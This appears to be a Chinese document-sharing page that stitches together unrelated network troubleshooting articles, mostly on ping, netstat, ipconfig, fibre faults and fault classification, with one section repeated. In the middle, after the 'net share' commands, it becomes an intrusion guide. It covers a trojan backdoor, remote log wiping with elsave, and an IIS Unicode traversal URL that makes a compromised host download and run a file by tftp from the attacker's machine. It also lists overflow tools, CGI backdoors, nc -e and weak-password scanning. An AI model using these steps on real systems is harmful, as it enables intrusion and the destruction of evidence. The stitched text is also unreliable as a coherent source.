排除一些网络故障的常用命令
一、ping
网管使用最频的当是ping命令，它不仅可以检查网络是否连通，还有益于分析判断网络故障。其常用方法有：
1. ping本机IP
本机始终都是应该对该ping命令作出应答，如没有，则表示本地配置或安装存在问题。出现此问题时，局域网用户可断开网缆，然后重新发送该命令：如果网线断开后本命令正确，则表示另一机子可能配置了相同的IP地址。这里显示的TTL（Time T o Live存在时间），表示数据包已通过的路由器数量。
2. ping网关IP
命令应答如果正确，表示局域网中的网关路由器正在正常运行
3. ping远程IP
如果收到4个应答，表示成功的使用了缺省网关。对于拨号上网用户则表示能够成功的访问Internet(但不排除ISP的DNS会有问题)。
4. ping局域网内其他IP
该命令将会经过网卡及网缆到达其他机器后再返回。收到回送应答表明本地网络中的网卡和载体运行正确；但若收到0个回送应答，那么表示子网掩码（进行子网分割时，将IP地址的网络部分与主机部分分开的代码）不正确或网卡配置错误或电缆系统有问题。
5. ping localhost
localhost是系统的网络保留名，它是127.0.0.1的别名，每台机器都能将该名字转换成该地址。
6. ping https://www.sodocs.net/doc/421160897.html,（如https://www.sodocs.net/doc/421160897.html,）
对这个域名执行Ping https://www.sodocs.net/doc/421160897.html,地址，通常是通过DNS服务器。如果出现故障，则表示DNS服务器的IP地址配置不正确或DNS服务器有故障。
简言之，如果ping运行正确，我们大体上就可以排除网络访问层、网卡、Modem 的输入输出线路、电缆和路由器等存在的故障，从而减小了问题的范围。但由于可以自定义所发数据报的大小及无休止的告诉发送，ping也被某些别有用心的人作为DDOS（拒绝服务攻击）的工具，例如许多大型的网站就是被黑客利用数百台可以告诉介入互联网的电脑连续发送大量ping数据报而瘫痪的。
二、Netstat
Netstat用于显示与IP、TCP、UDP和ICMP协议相关的统计数据，一般用于检验本机各端口的网络连接情况。
1. netstat-s :本命令能按照各协议分别显示其统计数据。如果我们的应用程序或浏览器运行速度较慢，或者不能显示Web页之类的数据，那么我们就可以用本选项来查看所显示的信息。
2. netstat-e :用于显示以太网统计数据。它列出了发送和接收端的数据报数量，包括传送的数据报的总字节数、错误数、删除数、数据报的数量和广播的数量，可用来统计基本的网流量。
3. netstat-r :可显示路由表信息
4. netstat-a :显示所有有效连接信息列表，包括已建立连接（ESTABLISHED）与监听连接请求（LISTENING）的连接。
三、IPConfig
IPConfig用于显示当前TCP/IP配置。如果我们的机子和所在局域网使用了动态主机配置协议（DHCP），这时IPConfig可以让我们了解自己的计算机是否成功
的租用到一个IP地址，如果租用到则可以了解它目前分配到的是什么地址。了解机器当前IP地址、子网掩码和缺省网关实际上有利于测试和分析故障。
1. ipconfig :它显示每个已经配置的接口的IP地址、子网掩码和缺省网关值。
2. ipconfig/all :当使用all选项时，IPConfig能为DNS和WINS服务器显示它已经配置且所要使用的附加信息（如IP地址等），并且显示内置于本地网卡中的物理地址（MAC）。
四、ARP
ARP(地址转换协议)是一个重要的TCP/IP协议，用于确定对应IP地址的网卡物理地址。ARP命令能够查看本地或另一台计算机的ARP高速缓存中的当前内容。
1. arp-a或arp-g :用于查看高速缓存中的所有项目。
2. arp-a IP :如果我们有多个网卡，那么使用arp-a加上接口的IP地址，就可以只显示与该接口相关的ARP缓存项目。
五、Tracert
如果网络连通有问题，可用tracert检查到达的目标IP地址的路径并记录结果。Tracert的使用很简单，只需要再Tracert后面跟一个IP地址或URL，Tracert 一般用来检测故障的位置，我们可以用“tracert IP”确定在哪个环节上出了问题。
六、Route
大多数主机一般都是驻留在只连接一台路由器的网段上。由于只有一台路由器，一次不存在使用哪一台路由器将数据报发表到远程计算机的问题，该路由器的IP 地址可作为该网段上所有计算机的缺省网关输入。
但是，当网络上拥有两个或多个路由器时，我们就不一定想只依赖缺省网关了。实际上我们可能想让我们的某些远程IP地址通过某个特定的路由器来传递，而其他的远程IP则通过另一个路由器来传递。Route print命令用于显示路由表中的当前项目，在单路由器网段上的输出。
七、NBTStat
本命令可释放和刷新NetBIOS名称。运用NetBIOS，我们可以查看本地计算机或远程计算机上的NetBIOS名字表格。
1. nbtstat-n :显示寄存在本地的名字和服务程序。
2. nbtstat-c :用于显示NetBIOS名字高速缓存的内容。NetBIOS名字高速缓存用于存放与本计算机最近进行通信的其他计算机的NetBIOS名字和IP地址对。
3. nbtstat-r :用于清除和重新加载NetBIOS名字高速缓存。
4. nbtstat-a IP :通过IP显示另一台计算机的物理地址和名字列表，我们所显示的内容就像对方计算机自己运行nbtstat-n一样。
5. nbtstat-s IP :显示使用其IP地址的另一台计算机的NetBIOS连接表。
八、设置共享的命令
1. net share 查看机器的共享资源。
2. 手工删除共享
Net share c$ /d
Net share d$ /d
Net share ipc$ /d
Net share admin$ /d
3．增加一个共享
C:net share mymovie=e:downloadsmovie/users:l
增加mymovie共享，同时限制链接用户数为1人。
一、netsvc.exe
下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务：
netsvc /list \\IP地址
netsvc schedule \\IP地址/query
netsvc \\IP地址schedule /start
二、OpenT elnet.exe
远程启动主机的T elnet服务，并绑定端口到7878，例如：
OpenT elnet \\IP地址用户名密码1 7878
然后就可以telnet到主机的7878端口，进入DOS方式下：
telnet IP地址7878
三、winshell.exe
一个非常小的木马（不到6K），telnet到主机的7878端口，输入密码winshell，当看到CMD>后，可打下面的命令：
p Path （查看winshell主程序的路径信息）
b reBoot （重新启动机器）
d shutDown （关闭机器）
s Shell （执行后你就会看到可爱的“C:\>”）
x eXit （退出本次登录会话，此命令并不终止winshell的运行）
CMD> http://.../srv.exe（通过http下载其他网站上的文件到运行winshell的机器上）
四、3389登陆器，GUI方式登录远程主机的
五、elsave.exe
事件日志清除工具
elsave -s \\IP地址-l application -C
elsave -s \\IP地址-l system -C
elsave -s \\IP地址-l security -C
执行后成功清除应用程序日志，系统日志，安全日志
六、hbulot.exe
开启win2kserver和winxp的3389服务
hbulot [/r]
使用/r表示安装完成后自动重起目标使设置生效。
七、nc.exe(netcat.exe)
一个很好的工具，一些脚本程序都要用到它，也可做溢出后的连接用。
想要连接到某处: nc [-options] hostname port[s] [ports] ...
绑定端口等待连接: nc -l -p port [-options] [hostname] [port]
参数:
-e prog 程序重定向，一旦连接，就执行[危险!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 帮助信息
-i secs 延时的间隔
-l 监听模式，用于入站连接
-n 指定数字的IP地址，不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 任意指定本地及远程端口-s addr 本地源地址
-u UDP模式
-v 详细输出——用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉——用于扫描时
八、TFTPD32.EXE
把自己的电脑临时变为一台FTP服务器，让肉鸡来下载文件，tftp命令要在肉鸡上执行，通常要利用Unicode漏洞或telnet到肉鸡，例如：
http://IP地址/s cripts/..%5c..%5c/winnt/system32/cmd.exe?/c tftp -i 本机IP地址get 文件名c:\winnt\system32\文件名
然后可以直接令文件运行：
http://IP地址/s cripts/..%5c..%5c/winnt/system32/cmd.exe?/c 文件名
九、prihack.exe是IIS的printer远程缓冲区溢出工具。idqover.exe是溢出idq 的，选择“溢出后在一个端口监听”，然后用telnet连接它的监听端口，如果溢出成功，一连它的端口，绑定的命令马上执行。xploit.exe是一个图形界面的ida 溢出，成功以后winxp下需要打winxp。
一○、ntis.exe、cmd.exe和cmdasp.asp是三个cgi-backdoor，exe要放到cgi-bin 目录下，asp放到有ASP执行权限的目录。然后用IE浏览器连接。
一、一Xscan命令行运行参数说明：
在检测过程中，按[空格]键可以查看各线程状态及扫描进度，按q键保存当前数据后提前退出程序，按
1.命令格式: xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项]
xscan -file <主机列表文件名> <检测项目> [其他选项]
其中<检测项目> 含义如下:
-port : 检测常用服务的端口状态(可通过\dat\config.ini文件的PORT-SCAN-OPTIONS\PORT-LIST项定制待检测端口列表)；
-ftp : 检测FTP弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件)；-ntpass : 检测NT-Server弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件)；
-cgi : 检测CGI漏洞(可通过\dat\config.ini文件的CGI-ENCODE\encode_type 项设置编码方案)；
-iis : 检测IIS漏洞(可通过\dat\config.ini文件的CGI-ENCODE\encode_type项设置编码方案)；
[其他选项] 含义如下:
-v: 显示详细扫描进度
-p: 跳过Ping不通的主机
-o: 跳过没有检测到开放端口的主机
-t <并发线程数量[,并发主机数量]>: 指定最大并发线程数量和并发主机数量, 默认数量为100,10
网络故障排除
一、巧用Ping命令排除局域网故障 所用DNS服务器的IP地址为202.102.152.3，网关为172.30.0.1，本机IP为172.30.0.217。验证网卡工作正常与否： 点击“开始/程序/MS-DOS方式”，提示符后输入“Ping 172.30.0.217”，回车运行。若出现下图1提示即可肯定网卡工作正常；但若出现4行“Request timeout”提示，则说明网卡工作不正常。 同理，验证网关Ping 172.30.0.1和验证是否与服务器联通Ping 202.102.152.3 Ping的技法 1．Ping命令的语法格式 其中目的地址是指被测试计算机的IP地址或域名。主要参数有： a：解析主机地址。 n：数据：发出的测试包的个数，缺省值为4。 l：数值：所发送缓冲区的大小。 t：继续执行Ping命令，直到用户按Ctrl+C终止。 有关Ping的其他参数，可通过在MS-DOS提示符下运行Ping或Ping-？命令来查看。 2．Ping命令的应用技巧
用Ping工具检查网络服务器和任意一台客户端上TCP/IP协议的工作情况时，只要在网络中其他任何一台计算机上Ping该计算机的IP地址即可。例如要检查网络文件服务器192.192.225.225 HP QW上的TCP/IP协议工作是否正常，只要在开始菜单下的“运行”子项中键入Ping 192.192.225.225就可以了。如果HP QW的TCP/IP协议工作正常，即会以DOS屏幕方式显示如下所示的信息： Pinging 192.192.225.225 with 32 bytes of data: Reply from 192.192.225.225:bytes=32 time=1ms TTL=128 Reply from 192.192.225.225:bytes=32 time<1ms TTL=128 Reply from 192.192.225.225:bytes=32 time<1ms TTL=128 Reply from 192.192.225.225:bytes=32 time<1ms TTL=128 Ping statistice for 192.192.225.225: Packets:Sent=4,Received =4,Lost =0(0% loss) Approximate round trip times in milli-seconds: Minimum=0ms,Maximum=1ms,A verage=0ms 以上返回了4个测试数据包，其中bytes=32 表示测试中发送的数据包大小是32个字节，time<10ms表示与对方主机往返一次所用的时间小于10毫秒，TTL=128表示当前测试使用的TTL（Time to Live）值为128（系统默认值）。 如果网络有问题，则返回如下所示的响应失败信息： Pinging 192.192.225.225 with 32 bytes of data Request timed out. Request timed out. Request timed out. Request timed out. Ping statistice for 192.192.225.225: Packets:Sent=4,Received =0,Lost\=4(100% loss),
常见网络故障处理方法完整版
常见网络故障处理方法 Document serial number【NL89WT-NY98YT-NC8CB-NNUUT-NUT108】
NO： 常见网络故障处理方法 作业指导书 （第A版） 编制人： 审核人： 批准人：
版本修订记录
目录 3、交换机常见故障及解决方 法 (7) 1光缆链路的主要故障 一般分为两步： 收发器暂时不要和交换设备连接。我们先使用两台笔记本电脑连接收发器，两台电脑之间互Ping。待测试好了以后再连接交换设备。一台笔记本电脑ping 另外一台电脑的IP 地址，例如，PC1 Ping PC2, 命令为Ping –t –l 65000。如果丢包少于5%，则比较正常，如果丢包较多，则需要仔细检查。 收发器连接交换设备以后，我们建议仍然使用Ping 的命令来测试，例如PC1 PingPC2, 命令为Ping –t –l 1500, 数据包长度一般不是65500，因为不同的交换机或路由器对包长的限制不同。但是1500 字节的数据包应该很少丢包，否则需要仔细检查。 故障现象： 1光缆熔接不良(有空气) 2光缆断裂或受到挤压 3接头处抛光不良 4接头处接触不良 5光缆过长 6核心直径不匹配
7填充物直径不匹配 8弯曲过度(弯曲半径过小) 2光纤故障排除方法 首先看光纤收发器或光模块的指示灯和双绞线端口指示灯是否已亮 2.1.1如收发器的光口（FX）指示灯不亮，请确定光纤链路是否交叉链接光纤跳线 一头是平行方式连接；另一头是交叉方式连接。 2.1.2如A收发器的光口（FX）指示灯亮、B收发器的光口（TX）指示灯不亮，则故障在A收发器端： 一种可能是：A收发器（TX）光发送口已坏，因为B收发器的光口（FX）接收不到光信号；另一种可能是：A收发器（TX）光发送口的这条光纤链路有问题（光缆或光线跳线可能断了）。 c、双绞线（TP）指示灯不亮，请确定双绞线连线是否有错或连接有误请用通断测试仪检测；（不过有些收发器的双绞线指示灯须等光纤链路接通后才亮。） d、有的收发器有两个RJ45端口：（To HUB）表示连接交换机的连接线是直通线；（To Node）表示连接交换机的连接线是交叉线（接单机）； e、有的发器侧面有MPR开关：表示连接交换机的连接线是直通线方式；DTE开关：连接交换机的连接线是交叉线方式。 2、光缆、光纤跳线是否已断 a、光缆通断检测：用激光手电、太阳光、发光体对着光缆接头或偶合器的一头照光；在另一头看是否有可见光如有可见光则表明光缆没有断。 b、光纤连线通断检测：用激光手电、太阳光等对着光纤跳线的一头照光；在另一头看是否有可见光如有可见光则表明光纤跳线没有断。 3、半/全双工方式是否有误 有的收发器侧面有FDX开关：表示全双工；HDX开关：表示半双工。 4、用光功率计仪表检测 光纤收发器或光模块在正常情况下的发光功率：多模：-10db--18db之间；单模20公里：-8db--15db之间；单模60公里：-5db--12db之间；如果在光纤收发器的发光功率在：-30db--45db之间，那么可以判断这个收发器有问题。 1． TXLINK灯不亮； 答：造成该故障的原因有二，一为接错双绞线，本收发器和光纤头及指示器同侧的RJ45口接PC机用交叉双绞线，接HUB或SWITCH用平行双绞线；二为通过双绞线所连的电口不是100M速率。 2． FXLINK灯不亮； 答：原因一：光纤线接错，正确接法为TX-RX； 原因二：传输距离太长或中间损耗太大，超过本产品的标称损耗，解决办法为采取办法减小中间损耗或是更换为传输距离更长的收发器； 3．五灯全亮或指示器正常但无法传输； 答：一般关断电源重启一下即可恢复正常； 4．光纤正常连接后FXRX灯常亮；
网络常见故障诊断排除论文
浅谈网络常见故障的诊断与排除 摘要：网络故障极为普遍，网络故障的种类也多种多样，要在网络出现故障时及时对出现故障的网络进行维护，以最快的速度恢复网络的正常运行，掌握一套行之有效的网络维护理论、方法和技术是关键。就网络中常见故障进行了分类，并对各种常见网络故障提出了相应的解决方法。 关键词：网络故障；网络维护；分类；解决办法 中图分类号：tp393.06 文献标识码：a 文章编号：1007-9599 (2011) 22-0000-01 network fault diagnosis and troubleshooting sun jie (china shipbuilding industry corporation 715 institute,lianyungang 222006,china) abstract:network failure is extremely common,but also a variety of types of network failure,network failure in a timely manner to maintain a network failure,the fastest to restore the normal operation of the network,an effective network control maintenance theory,methods and techniques is the https://www.sodocs.net/doc/421160897.html,mon faults on the network have been classified in a variety of common network problems and corresponding solutions proposed. keywords:network failure;network
常见网络故障的分析及排除方法
常见网络故障的分析及排除方法 【摘要】计算机网络是一个复杂的综合系统，网络故障十分普遍，故障种类也极其繁杂。本文在对具体的网络故障分析基础上，给出了相应的排除方法。 【关键词】网络故障；常见故障；分类诊断；物理故障；逻辑故障 一、网络故障的分类 网络故障的成因无非是硬件和软件两个方面。按照网络故障的性质，网络故障可划分为物理故障与逻辑故障两类。物理故障也叫硬件故障，是指由硬件设备所引发的网络故障。在硬件故障中线路故障、端口故障、集线器或路由器故障及主机物理故障是较为常见的几种故障。 逻辑故障又称为软故障，表现特征为网络不通，或者同一个链路中有的网络服务通，有的网络服务不通。究其根源，是由于设备配置错误或者软件安装错误所致。路由器逻辑故障、主机逻辑故障、病毒故障是几种常见的逻辑故障。 二、排除故障的具体方法 排除故障的方法是不外乎从软件设置和硬件损坏两个方面来考虑： ㈠物理故障及排除方法 1、线路故障最普遍的情况是线路不通，是网络中常见的故障。线路损坏或线路受到严重电磁干扰时最容易引发该故障。诊断此故障时，若线路很短，最直接的方法是将该网络线一端插入一台能够正常连入局域网的主机的RJ45插空内，另一端插入正常的集线器端口中，然后在DOS环境下，使用PING命令在本主机上检测线路另一端主机（或路由器）的端口能否响应，用TRACEROUTE命令检查路由器配置是否正确，根据检测结果进行判断；若线路稍长，不方便移动，可使用网线测试仪器进行线路检测；若线路太长，或线路由电信供应商提供，则需要与提供商协同检查线路，确认是否线路中间出现了故障。 对于存在严重电磁干扰的检测，可以使用屏蔽性能很强的屏蔽线在该线路上进行通信测试，若通信正常，表明存在电磁干扰。若问题依旧，可排除电磁干扰故障。 2、端口故障分为插头松动及端口本身的物理故障。此类故障一般会直接影响到与其相连的其他设备的信号灯状态。信号灯较直观，通过信号灯大体上可以判断出故障的发生范围及有可能存在的因素。检测时，首先应检查RJ45插头是否松动或检查RJ45接口是否制作完好，然后查看集线器或交换机的接口，如果某个接口存在问题，可以更换接口后再进行验证是否真的存在端口故障。 3、路由器或集线器故障会直接导致网络不通。这类故障也是网络上一种常见的故障，故障的现象与线路故障很相近，在诊断此种故障时，必须用专门的诊断工具来收集路由器的端口流量、路由表、路由器CPU温度、负载及路由器的内存余量、计费数据等数据。检测时，可采用替换排除法，用通信正常的网线和主机来连接路由器或集线器，若通信正常，表明路由器或集线器没有故障；反之则应调换路由器（或集线器）的端口来确认故障；很多情况下，路由器（或集线器）的指示灯表明了其本身是否存在故障，正常的情况下对应端口的指示灯为绿色指示灯。通过以上测试后，若问题依旧，可断定路由器或集线器上存在故障。 4、主机物理故障包括网卡物理故障，网卡插槽故障，网卡松动及主机本身故障。对于网卡插槽故障和网卡松动的诊断可通过更换网卡插槽来进行。如果更换插槽仍不能解决故障，可将网卡放到其他正常工作的主机上测试，若正常通信，是主机本身故障，若无法工作，是网卡物理物理故障，更换网卡故障可排除。
典型的网络故障分析、检测与排除
典型的网络故障分析、检测与排除 摘要： 网络故障极为普遍，故障种类也十分繁杂。如果把网络故障的常见故障进行归类查找，那么无疑能够迅速而准确的查找故障根源，解决网络故障。文章主要就网络常见故障的分类诊断及排除进行了阐述。根据网络故障的性质把网络故障分为物理故障与逻辑故障。其物理故障也就是网络设备的故障。其逻辑故障是网络中配置管理的错误。也可根据网络故障的对象把网络故障分为线路故障、路由故障和主机故障。本文主要介绍路由器故障、配置故障、及连接故障的诊断与排除。通过运用工具和方法分析出导致网络故障的主要原因，及解决方法。 关键词：计算机网络，网络故障，分析诊断，物理类故障，逻辑类故障 引言 计算机网络故障是与网络畅通相对应的一个概念，计算机网络故障主要是指计算机无法实现联网或者无法实现全部联网。引起计算机网络故障的因素多种多样但总的来说可以分为物理故障与逻辑故障，或硬件故障与软件故障。采取有效的故障防预措施网络故障目前已经成为影响计算机网络使用稳定性的重要因素之一，加强对计算机网络故障的分析和网络维护已经成为网络用户经常性的工作之一。及时进行网络故障分析和网络维护也已经成为保障网络稳定性的重要方式方法。本文从实际出发，即工作中遇到的网络故障，描述了通过运用网络知识进行故障排除。按照故障现象—>故障分析-->故障解决的研究路线阐述了如何在实际中排除网络故障，及其在网络安全的应用中的重要性。 本文着重讲解了网络故障的排除方法，通过运用解决问题的策略与排除故障的思路在故障现场很快的检测出是属于哪种故障然后再基于故障提出方案给予解决。 正文： 一、网络故障 （一）物理类故障 物理故障，是指设备或线路损坏、插头松动、线路受到严重电磁干扰等情况。比如说，网络中某条线路突然中断，这时网络管理人员从监控界面上发现
常见网络故障排查
计算机网络故障及其维修方法 目标： 1．常见计算机网络故障检测、分析能力；掌握计算机网络故障维修方法； 2．会配置小型计算机网络系统；了解常见计算机网络故障原因；了解计算机网络故障处理方法； 3．能利用所学知识和经验（灵活性）创造性地解决新问题。 内容： 一、了解常见计算机网络故障原因 （一）硬件故障 硬件故障主要有网卡自身故障、网卡未正确安装、网卡故障、集线器故障等。 首先检查插上计算机I/O插槽上的网卡侧面的指示灯是否正常，网卡一般有两个指示灯“连接指示灯”和“信号传输指示灯”，正常情况下“连接指示灯”应一直亮着，而“信号传输指示灯”在信号传输时应不停闪烁。如“连接指示灯”不亮，应考虑连接故障，即网卡自身是否正常，安装是否正确，网线、集线器是否有故障。 1．RJ45接头的问题 RJ45接头容易出故障，例如，双绞线的头没顶到RJ45接头顶端，绞线未按照标准脚位压入接头，甚至接头规格不符或者是内部的绞线断了。
镀金层厚度对接头品质的影响也是相当可观的，例如镀得太薄，那么网线经过三五次插拔之后，也许就把它磨掉了，接着被氧化，当然也容易发生断线。 2．接线故障或接触不良 一般可观察下列几个地方：双绞线颜色和RJ-45接头的脚位是否相符；线头是否顶到RJ-45接头顶端，若没有，该线的接触会较差.需再重新压按一次；观察RJ-45侧面。金属片是否已刺入绞线之中？若没有，极可能造成线路不通；观察双绞线外皮去掉的地方，是否使用剥线工具时切断了绞线（绞线内铜导线已断，但皮未断）。 如果还不能发现问题，那么我们可用替换法排除网线和集线器故障，即用通信正常的计算机的网线来连接故障机，如能正常通信，显然是网线或集线器的故障，再转换集线器端口来区分到底是网线还是集线器的故障，许多时候集线器的指示灯也能提示是否是集线器故障，正常对应端口的灯应亮着。 （二）软件故障 如果网卡的信号传输指示灯不亮，这一般是由网络的软件故障引起的。 1．检查网卡设置 普通网卡的驱动程序磁盘大多附有测试和设置网卡参数的程序。分别查验网卡设置的接头类型、IRQ、I/O端口地址等参数，若有冲突.只要重新设置（有些必须调整跳线），一般都能使网络恢复正常。
计算机网络常见故障及解决方案
一、计算机网络常见故障及解决方案 1 无法连接上网的故障 解决方案：检查调制解调器的驱动是否正常。检查调制解调器是否处于可以使用状态：双击“控制面板→系统→设备管理”，在列表中选择调制解调器并单击“属性”，确认是否选中“设备已存在，请使用”选项。检查端口的正确性：双击“控制面板→调制解调器”，单击选择调制解调器，然后单击“属性”，在“通用”选项卡上，检验列出的端口是否正确。如果不正确。请选择正确的端口，然后单击“确定”按钮。确认串口的I/O地址和IRQ设置是否正确：双击“控制面板→系统→设备管理”，再单击“端口”，选取一个端口，然后单击“属性”。单击“资源”选项卡显示该端口的当前资源设置，请参阅调制解调器的手册以找到正确的设置，在“资源”对话框中。检查“冲突设备列表”以查看调制解调器使用的资源是否与其它设备发生冲突，如果调制解调器与其它设备发生冲突，请单击“更改设置”，然后单击未产生资源冲突的配置。检验端口设置：双击“控制面板→调制解调器”，单击选择调制解调器，然后单击“属性”，在出现的菜单中选择“连接”选项卡以便检查当前端口设置，如波特率、数据位、停止位和校验等。 2 无法浏览网络 解决方案：第一是因为在Windows启动后，要求输入Microsoft网络用户登录口令时，点了“取消”按钮所造成的，如果是要登录NT服务器。必须以合法的用户登录，并且输入正确口令。第二种是与其它的硬件产生冲突。打开“控制面板→系统→设备管理”。查看硬件的前面是否有黄色的问号、感叹号或者红色的问号。如果有，必须手工更改这些设备的中断和 I/O地址设置。第三是防火墙导致网络不通。在局域网中为了保障安全，安装了一些防火墙。这样很容易造成一些“假”故障，例如Ping不通但是却可以访问对方的计算机，不能够上网却可以使用QQ等。判断是否是防火墙导致的故障很简单，你只需要将防火墙暂时关闭。然后再检查故障是否存在。例如用户初次使用IE访问某个网站时，防火墙会询问是否允许该程序访问网络，一些用户因为不小心点了不允许这样以后都会延用这样的设置，自然导致网络不通了。比较彻底的解决办法是在防火墙中去除这个限制。 3 IE默认的搜索引擎被篡改 在IE工具栏中有一个搜索引擎的工具按钮，点击之可以进行网络搜索。IE默认使用微软的搜索引擎。如果IE的搜索引擎被恶意网站篡改，只要你点击那个“搜索”按钮，就会链接到恶意网站。 解决方案：单击“开始/运行”，输入“Regedit”打开注册表，定位到 HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Search分支，找到“SearehAssistant”键值名，在右面窗口点击“修改”，将其值改为某个搜索引擎的网址，然后再找到“CustomizeSeareh”键值名，将其键值改为某个搜索引擎的网址。 4 上网速度慢 解决方案：
网络故障排除思路
锐捷产品网络故障处理总结内部公开 目录 网络故障排除技术总结 (1) 1.网络故障排除技术概览 (1) 1.1在当今日益复杂的网络中进行故障排除 (1) 1.2网络故障的一般分类 (2) 1.3一般网络故障的解决步骤 (2) 2.网络排错常用诊断工具介绍 (8) 2.1 Ping命令 (8) 2.2 Traceroute 命令 (13) 2.3 Show命令 (18) 2.4 Clear命令 (22) 2.5 Debug命令 (23) 3.故障排除常用方法 (26) 3.1分层故障排除法 (26) 3.2分块故障排除法 (27) 3.3分段故障排除法 (27) 3.4替换法 (29) 4. 故障排除对排错技术人员的要求 (29) 4.1对协议要求有精深的理解 (29) 4.2能够引导客户详细描述出故障现象和相关信息 (29) 4.3充分了解自己所管理和维护的网络 (31) 4.4及时进行故障排除的文档记录和经验总结 (32)
网络故障排除技术总结 1.网络故障排除技术概览 1.1在当今日益复杂的网络中进行故障排除 当今的网络互连环境是日趋复杂的，而且随着需求发展的步伐这种复杂性是日益增长的，主要原因如下： ?现代的网络要求支持更广泛的应用：包括内容上的数据、语音、视频的应用；接入方式上有线，光纤，无线，多协议转换器，逻辑链路的应用；网络结构上二层，三层，二三层混合，VPN等的应用。 ?新业务发展使得网络的的需求不断增长，新技术的不断出现。例如：百兆以太网向千兆、万兆以太网的演进；各种防范攻击技术的出现；提供QoS 能力；IPV6的支持等。 ●新技术的应用同时还要兼顾传统的技术。例如，传统的网络体系结构仍 在某些场合使用。各种协议的发展，使得新网络的建设需要兼容原来的基础而进行改造。 ● 图1-1多样业务的需求和各种先进技术的引入 使网络日益复杂
排除一些网络故障的常用命令
一、ping 网管使用最频的当是ping命令，它不仅可以检查网络是否连通，还有益于分析判断网络故障。其常用方法有： 1. ping本机IP 本机始终都是应该对该ping命令作出应答，如没有，则表示本地配置或安装存在问题。出现此问题时，局域网用户可断开网缆，然后重新发送该命令：如果网线断开后本命令正确，则表示另一机子可能配置了相同的IP地址。这里显示的TTL（Time T o Live存在时间），表示数据包已通过的路由器数量。 2. ping网关IP 命令应答如果正确，表示局域网中的网关路由器正在正常运行 3. ping远程IP 如果收到4个应答，表示成功的使用了缺省网关。对于拨号上网用户则表示能够成功的访问Internet(但不排除ISP的DNS会有问题)。 4. ping局域网内其他IP 该命令将会经过网卡及网缆到达其他机器后再返回。收到回送应答表明本地网络中的网卡和载体运行正确；但若收到0个回送应答，那么表示子网掩码（进行子网分割时，将IP地址的网络部分与主机部分分开的代码）不正确或网卡配置错误或电缆系统有问题。 5. ping localhost localhost是系统的网络保留名，它是127.0.0.1的别名，每台机器都能将该名字转换成该地址。 6. ping https://www.sodocs.net/doc/421160897.html,（如https://www.sodocs.net/doc/421160897.html,） 对这个域名执行Ping https://www.sodocs.net/doc/421160897.html,地址，通常是通过DNS服务器。如果出现故障，则表示DNS服务器的IP地址配置不正确或DNS服务器有故障。 简言之，如果ping运行正确，我们大体上就可以排除网络访问层、网卡、Modem 的输入输出线路、电缆和路由器等存在的故障，从而减小了问题的范围。但由于可以自定义所发数据报的大小及无休止的告诉发送，ping也被某些别有用心的人作为DDOS（拒绝服务攻击）的工具，例如许多大型的网站就是被黑客利用数百台可以告诉介入互联网的电脑连续发送大量ping数据报而瘫痪的。 二、Netstat Netstat用于显示与IP、TCP、UDP和ICMP协议相关的统计数据，一般用于检验本机各端口的网络连接情况。 1. netstat-s :本命令能按照各协议分别显示其统计数据。如果我们的应用程序或浏览器运行速度较慢，或者不能显示Web页之类的数据，那么我们就可以用本选项来查看所显示的信息。 2. netstat-e :用于显示以太网统计数据。它列出了发送和接收端的数据报数量，包括传送的数据报的总字节数、错误数、删除数、数据报的数量和广播的数量，可用来统计基本的网流量。 3. netstat-r :可显示路由表信息 4. netstat-a :显示所有有效连接信息列表，包括已建立连接（ESTABLISHED）与监听连接请求（LISTENING）的连接。 三、IPConfig IPConfig用于显示当前TCP/IP配置。如果我们的机子和所在局域网使用了动态主机配置协议（DHCP），这时IPConfig可以让我们了解自己的计算机是否成功
检测与排除网络故障
《检测与排除网络故障（+E）》 一、计算机实训室局域网络连接故障 启动虚拟机之前要将以太网改成桥接的状态，这是下面所有步骤的前提条件 1、共享文件夹的设置 启动虚拟机后首先是共享文件的设置，新建一个文件，右击文件夹，选择“共享和安全”，→“共享该文件夹”，确定即可。 2、物理机访问虚拟机里的共享文件夹 1）首先确保物理机与虚拟机在同一个网段，可以互相ping通； 2）在虚拟机里面新建文件夹，设置成共享文件，再通过“高级”“立即查找”添加“everyone”新的用户，“确定”，并赋予其所有权限；
3）在物理机ping“\\虚拟机IP”，访问虚拟机的共享文件
3、物理机不能访问虚拟机里的共享文件夹及文件无法共享 方法很多： 1）：与上述方法访问共享文件正好相反，将权限里新建用户“everyone”删去即可； 2）在“命令提示符”里输入“net stop server”停止服务即可； 4、怎么恢复上述服务 在“命令提示符”里输入“net start server”停止服务即可；
二、蓝天网吧局域网的网络速度异常缓慢问题分析与排除 简介： 网络变慢是经常会遇到的问题，局域网接入上网的用户而言就会经常出现，例如网吧、公司和学校企业等地点。很多用户反应，局域网在运行一段时间后，发现整个网络网速突然变慢:运行公司信息系统软件和访问公司局域网内主页速度明显降低，访问外网速度也大不如前。 遇到网络变慢的情况，就要对网络进行有效的诊断，引起局域网网速减慢的原因很多，网线的状况、网线的接头、集线器、网卡，以及驱动程序等等硬件设备都可能引起企业局域网网速减慢。 这种情况下，首先我们需要检查网线是否脱落，有无折损断裂;网线接头是否松动，接触不良，路由器的电源是否松动或接口是否沾满了灰尘或杂物，造成堵塞；以及网卡的工作是否正常，IP地址的设置是不是与别的计算机的设置有了冲突等等。 原因及解决方法： 1.网络的拓扑结构 网络的拓扑结构不合理也会影响到网速。其中包括了网线架设过长、网络冗余回路。
计算机网络故障诊断与排除(第2版) 教学资料补充习题
